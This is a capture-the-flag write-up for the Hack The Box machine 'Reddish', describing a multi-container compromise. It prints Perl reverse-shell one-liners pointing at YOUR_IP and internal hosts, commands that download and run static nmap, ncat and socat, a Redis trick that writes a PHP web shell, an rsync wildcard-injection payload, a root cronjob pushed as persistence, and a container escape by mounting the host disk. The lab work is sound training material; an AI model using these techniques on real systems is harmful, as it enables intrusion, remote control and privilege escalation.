../ HTB b2r - Reddish

The Reddis machine is an insane linux box.

If you are italian you might want to check out the related video.

This machine is quite long and its made up of various docker containers.

Table of Contents

#First Scans

Quick scans with nmap reveal port 1880 open

  nmap -p- reddish
  Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-25 03:33 CET
  Nmap scan report for reddish (10.129.180.63)
  Host is up (0.057s latency).
  Not shown: 65534 closed ports
  PORT     STATE SERVICE
  1880/tcp open  vsat-control

  Nmap done: 1 IP address (1 host up) scanned in 34.80 seconds

With a more specific scan we see that there is a node.js application listening on such port

  nmap -sC -sV -p 1880 reddish
  Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-25 03:34 CET
  Nmap scan report for reddish (10.129.180.63)
  Host is up (0.052s latency).

  PORT     STATE SERVICE VERSION
  1880/tcp open  http    Node.js Express framework
  |_http-title: Error

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 14.58 seconds

By using a browser and going to http://reddish:1880 we get the following

If instead we do a POST with curl we get

curl -X POST http://reddish:1880
  {"id":"5473a649c8de41204e498bad54136361","ip":"::ffff:10.10.14.3","path":"/red/{id}"}

Once again with the browser we can go to the url http://reddish:1880/red/5473a649c8de41204e498bad54136361 to find the a NODE-red application waiting.

#RCE on NODE-Red

The following article showcases a python script which can be used to obtain a RCE whenever we have access to a NODE-red application.

https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/

When I used it I'm not sure why, but I had some problem with it and I had to slightly change the code. Below you can see the diff between the original source and the modified one.

	 diff original_noderedsh.py modified_noderedsh.py 
252,256c252,256
<                     messages = json.loads(response)
<                     for message in messages:
<                         if "topic" in message and message["topic"] == "debug":
<                             output = message["data"]["msg"].strip()
<                             break
---
>                     message = json.loads(response)
>
>                     if "data" in message and "msg" in message["data"]:
>                         output = message["data"]["msg"].strip()

The basic idea of the script is to create three different nodes:

  • exec node, which contains the code to be executed.

  • debug node, to show the output of the command.

  • inject node, to activate the code.

With that script we can then listen for and execute a reverse shell in perl to get RCE on the docker that runs the NODE-red application.

	 python modified_noderedsh.py http://reddish:1880/red/5473a649c8de41204e498bad54136361
	 > perl -e 'use Socket;$i="YOUR_IP";$p=YOUR_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

With that executed we have our reverse shell inside the docker.

	 id
	 uid=0(root) gid=0(root) groups=0(root)

#Docker #1 (NODE-red)

If we go in the / folder we can see the .dockerenv file, which we can use to infer that we are inside a docker container.

	  ls /.dockerenv
-rwxr-xr-x   1 root root    0 May  4  2018 .dockerenv

By executing ip a we get the following three network interfaces

	  ip a
1: lo:  mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
	   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
	   inet 127.0.0.1/8 scope host lo
	   valid_lft forever preferred_lft forever

9: eth0@if10:  mtu 1500 qdisc noqueue state UP group default
	   link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
	   inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
	     valid_lft forever preferred_lft forever

17: eth1@if18:  mtu 1500 qdisc noqueue state UP group default
	   link/ether 02:42:ac:13:00:04 brd ff:ff:ff:ff:ff:ff
	   inet 172.19.0.4/16 brd 172.19.255.255 scope global eth1
	      valid_lft forever preferred_lft forever

The idea now is to pivot on other dockers that are contained withis this internal network. To find the other dockers we can bring into the machine a static version of nmap, which can be downloaded from this github repo

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

The transfer can then be made by activating a python server and then using the following perl code on the remote machine (the docker one running NODE-red)

# -- on your host
cd /tmp
curl -L https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap > nmap
python3 -m http.server <YOUR_PORT>

# -- on remote docker
perl -e 'use File::Fetch;$url="http://<YOUR_IP>:<YOUR_PORT>/nmap";$ff=File::Fetch->new(uri => $url);$file=$ff->fetch() or die $ff->error;'

Once we have nmap we can use it as follows to find the various hosts which are up

 chmod +x ./nmap
 ./nmap -sP 172.19.0.1/16

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2021-12-25 03:42 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.19.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed

Host is up (0.000049s latency).
MAC Address: 02:42:7E:3B:FF:85 (Unknown)
Nmap scan report for reddish_composition_redis_1.reddish_composition_internal-network (172.19.0.2)

Host is up (0.000013s latency).
MAC Address: 02:42:AC:13:00:02 (Unknown)
Nmap scan report for reddish_composition_www_1.reddish_composition_internal-network (172.19.0.3)

Host is up (0.000060s latency).
MAC Address: 02:42:AC:13:00:03 (Unknown)
Nmap scan report for nodered (172.19.0.4)

As we can see, we have two hosts on the 172.19.0.4/16 network

172.19.0.2 --> reddish_composition_redis_1.reddish_composition_internal-network
172.19.0.3 --> reddish_composition_www_1.reddish_composition_internal-network

To check for open ports we can use the following bash script which makes use of the virtual network interfaces.

#!/usr/bin/env bash

for PORT in {1..65535}; do
    timeout 1 bash -c "</dev/tcp/<IP>/$PORT 2>/dev/null" 2>/dev/null && echo "port $PORT is open for host <IP>"
done

Without actually trying all ports (which could take a while), we can first try some well known ports by using the domain names as hints:

  • The domain name of the host 172.19.0.2 is reddish_composition_redis_1, wich means that probably a redis istance is up. Since the default port of redis is 6379, we can try that port.

      timeout 1 bash -c "</dev/tcp/172.19.0.2/6379 2>/dev/null" 2>/dev/null && echo "port is open"

    If we do that we find that the port 6379 is actually open.

  • The domain name of the host 172.19.0.3 is reddish_composition_www_1, which means that probably a web server istance is up. Since the default port of redis is either 80 or 443, we can try those ports.

      timeout 1 bash -c "</dev/tcp/172.19.0.3/80 2>/dev/null" 2>/dev/null && echo "port is open"
  timeout 1 bash -c "</dev/tcp/172.19.0.3/443 2>/dev/null" 2>/dev/null && echo "port is open"

    If we do that we find that the port 80 is open.

To recap, so far we the actual situation inside the docker network is as follows

Host 172.19.0.2 is up on port 6379
Host 172.19.0.3 is up on port 80

Let us now briefly cover on how we can access those dockers, which will be named respectively docker #2 and docker #3.

#Docker #2 (Redis)

To access the docker with ip 172.19.0.2 we can transfer a static version of ncat in the same way we transfered nmap.

# -- on your host
cd /tmp
curl -L https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat > ncat
python3 -m http.server <YOUR_PORT>

# -- on remote docker
perl -e 'use File::Fetch;$url="http://<YOUR_IP>:<YOUR_PORT>/ncat";$ff=File::Fetch->new(uri => $url);$file=$ff->fetch() or die $ff->error;'

Once we have that we can use it as follows to connect to the open port.

./ncat 172.19.0.2 6379

By executing some redis commands such as INFO server can immediatly see that its actually running a redis database.

NOTE: For those who do not know what redis is, the idea behind redis is to have an only in memory database which is really fast to access and which can be used to store session-relevant information such as authentication cookies, session data, and things of the sort for all sorts of application.

#Docker #3 (Web)

To acess the docker with ip 172.19.0.3 the idea is to create a sort of http proxy through the NODE-red application that connects our machine to the internal web server. This tunneling can be done by defining three nodes:

Once this is set in place by going to the following URL

http://reddish:1880/api/6fbb5c419215f9da0447080d390e9f90/test

we can access the internal web server. Notice that the /api/{id} is displayed by the NODE-red application, so be careful to copy it correctly in your own specific case.

To make things even simpler, since NODE-red allows to import/export specific flows, one can simply import the following flow by saving it to a .json file and importing using the application menu.

[
    {"id":"7LF13","type":"tab","label":"7LF13","disabled":false,"info":""},

    {"id":"e3a53a8b.abb158","type":"http in","z":"7LF13","name":"",
     "url":"/test","method":"get","upload":false,"swaggerDoc":"",
     "x":217.69033813476562,"y":280.1761245727539,"wires":[["24a6e096.6390f"]]},

    {"id":"8dc7f6e1.09d878","type":"http response","z":"7LF13","name":"",
     "statusCode":"","headers":{},"x":770,"y":260,"wires":[]},

    {"id":"24a6e096.6390f","type":"http request","z":"7LF13","name":"",
     "method":"GET","ret":"txt",
     "url":"http://reddish_composition_www_1.reddish_composition_internal-network","tls":"",
     "x":550,"y":420,"wires":[["8dc7f6e1.09d878"]]}
]

Once we can reach the web server we can check the source code of the index page to see the following snippet

/*
  ,* TODO
  ,*
  ,* 1. Share the web folder with the database container (Done)
  ,* 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
  ,* ...Still don't know how to complete it...
  ,*/
function backupDatabase() {
    $.ajax({
	url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=...",
	cache: false,
	dataType: "text",
	success: function (data) {
	    console.log("Database saved:", data);
	},
	error: function () {
	}
    });
}

Whats interesting here in particular is the hint that's telling us that the web folder, which is probably /var/www/html is being shared with the database container.

#Pivoting from Docker #1 to Docker #3

The last hint can be used to understand how to pivot from the NODE-red docker to the web server docker. The idea is to enter within redis and use the set dbfilename, set dir and save commands to create a malicious php script on the web server folder.

Thus the flow is

 ./ncat 172.19.0.2 6379
	 set cmd ""
config set dbfilename "test.php"
config ser dir "/var/www/html/"
save

Once we have done that we can modify the flow defined previouls so that the http request node makes an internal request to the following endpoint

http://reddish_composition_www_1.reddish_composition_internal-network/test.php?cmd=whoami

If we then go to http://reddish:1880/api/6fbb5c419215f9da0447080d390e9f90/test we should see the output of the command whoami

By chaning the command to a reverse shell in perl we're able to get a reverse shell on the www docker.

NOTE: There is a cronjob that periodically removes file from the /var/www/html folder, therefore I suggest to keep a redis connection open and repeat the last command save to re-generate the malicious test.php script in cases when we see a "cannot find test.php" message from the web server.

#PrivEsc on Docker #3 (user flag)

Once we're inside the www docker we can go to the filesystem root to find a /backup directory with a backup.sh script. The script contains the following code

cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

This code is periodically run by the root account. Notice that the second command of this code – the call to rsync -a *.rdb – is vulnerable.

To attack this the idea is to create two files in the /var/www/html/f187a0ec71ce99642e4f0afbd441a68b folder. So, first things first, let us move into that directory.

cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b;

  1. The first file will be named test.rdb and will contain the code for a reverse shell in perl. This file can be generated with the following command. Notice that in this payload the IP is fixed, since it refers to the nodered docker host, which has always the same IP.

       echo "#/bin/bash \n perl -e 'use Socket;\$i=\"172.19.0.4\";\$p=9009;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" > test.rdb

  2. We'll then create another file named -e sh test.rdb. The content of this second file is of no importance, as we're only interested in its filename.

       echo "yo" > '-e sh test.rdb';

After this we can simply listen using ncat on the first docker (the one running the NODE-red app) on port 9009 to get a shell as root on the www docker.

Once we have the shell we can find and read the user flag in the /home/somaro/ directory.

#Docker #4 (Backup)

There's still one last docker that we haven't explored yet. Indeed, from the code of the backup.sh script we can see a couple of calls being made with rsync to a machine called backup.

If we ping that machine we can see its IP address

	  ping -c 1 backup
PING backup (172.20.0.2) 56(84) bytes of data.
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2): icmp_seq=1 ttl=64 time=0.078 ms

--- backup ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.078/0.078/0.078/0.000 ms

Thus on the other network inteface the docker #3 is connected, which is 172.20.0.1/16, we can see another host up, the host 172.20.0.2 which will be the fourth and last docker we'll encounter in this machine.

Using rsync we can explore the filesystem of the remote backup machine. In particular we can read the files contained in its root directory

	  rsync  -v rsync://backup:873/src
receiving file list ... done
drwxr-xr-x          4,096 2018/07/15 17:42:39 .
-rwxr-xr-x              0 2018/05/04 21:01:30 .dockerenv
-rwxr-xr-x            100 2018/05/04 19:55:07 docker-entrypoint.sh
drwxr-xr-x          4,096 2018/07/15 17:42:41 backup
drwxr-xr-x          4,096 2018/07/15 17:42:39 bin
drwxr-xr-x          4,096 2018/07/15 17:42:38 boot
drwxr-xr-x          4,096 2018/07/15 17:42:39 data
drwxr-xr-x          3,640 2021/12/25 02:30:30 dev
drwxr-xr-x          4,096 2018/07/15 17:42:39 etc
drwxr-xr-x          4,096 2018/07/15 17:42:38 home
drwxr-xr-x          4,096 2018/07/15 17:42:39 lib
drwxr-xr-x          4,096 2018/07/15 17:42:38 lib64
drwxr-xr-x          4,096 2018/07/15 17:42:38 media
drwxr-xr-x          4,096 2018/07/15 17:42:38 mnt
drwxr-xr-x          4,096 2018/07/15 17:42:38 opt
dr-xr-xr-x              0 2021/12/25 02:30:30 proc
drwxr-xr-x          4,096 2018/07/15 17:42:39 rdb
drwx------          4,096 2018/07/15 17:42:38 root
drwxr-xr-x          4,096 2021/12/25 02:30:31 run
drwxr-xr-x          4,096 2018/07/15 17:42:38 sbin
drwxr-xr-x          4,096 2018/07/15 17:42:38 srv
dr-xr-xr-x              0 2021/12/25 03:15:26 sys
drwxrwxrwt          4,096 2021/12/25 18:18:01 tmp
drwxr-xr-x          4,096 2018/07/15 17:42:39 usr
drwxr-xr-x          4,096 2018/07/15 17:42:39 var

sent 20 bytes  received 436 bytes  912.00 bytes/sec
total size is 100  speedup is 0.22

By transfering the docker-entrypoint.sh we see the following

rsync rsync://backup:873/src/docker-entrypoint.sh .
cat docker-entrypoint.sh
#!/bin/bash

set -ex

service cron start

exec rsync --no-detach --daemon --config /etc/rsyncd.conf

As we can see, the command service cron start tells us that the cronjob deamon is running on the backup machine.

#Pivoting from Docker #3 to Docker #4

To pivot from the www docker to the backup docker the idea is to create a cronjob which will start a reverse shell written in perl, since apparently for some reason perl is present in all of the dockers so far.

To do this however we need to transfer ncat to the www docker. To connect the www docker to our machine the idea is to use the NODE-red docker as a pivot point. This can be done with socat as follows

# -- first, download socat, ncat and activate server on your host machine
cd /tmp
curl -L https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat > ncat
curl -L https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat > socat
python3 -m http.server <YOUR_PORT>

# -- then, download socat and use it on docker #1 (nodered)
perl -e 'use File::Fetch;$url="http://<YOUR_IP>:<YOUR_PORT>/ncat";$ff=File::Fetch->new(uri => $url);$file=$ff->fetch() or die $ff->error;'
chmod +x ./socat
./socat TCP4-LISTEN:3334,fork TCP4:<YOUR_IP>:<YOUR_PORT> &

# -- finally, download ncat from docker #3 (www)
perl -e 'use File::Fetch;$url="http://172.19.0.4:3334/ncat";$ff=File::Fetch->new(uri => $url);$file=$ff->fetch() or die $ff->error;'

NOTE: as we have already done with nmap and ncat, to use socat on the nodered docker the idea is to download a static version and transfer it with perl.

Once we have ncat on the third docker we can create the file which contains the malicious cronjob

echo "* * * * * root perl -e 'use Socket;\$i=\"172.20.0.3\";\$p=9000;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" > test;

and transfer it to the backup docker with rsync

rsync -v test root@backup::src/etc/cron.d/;

Then, by listening with ncat on port 9000 on the www docker, we get a reverse shell on the backup docker.

#PrivEsc on Docker #4 (root flag)

Once we are inside the backup docker we immediatly notice that we can access the device files for the hard-disks /dev/sda*

	  ls -lha /dev/sd*
brw-rw---- 1 root disk 8, 0 Dec 25 02:30 /dev/sda
brw-rw---- 1 root disk 8, 1 Dec 25 02:30 /dev/sda1
brw-rw---- 1 root disk 8, 2 Dec 25 02:30 /dev/sda2
brw-rw---- 1 root disk 8, 3 Dec 25 02:30 /dev/sda3

and by mounting /dev/sda2 we get access to the true host's file system.

mount /dev/sd2 /mnt

The root flag is then situated in /mnt/root/root.txt.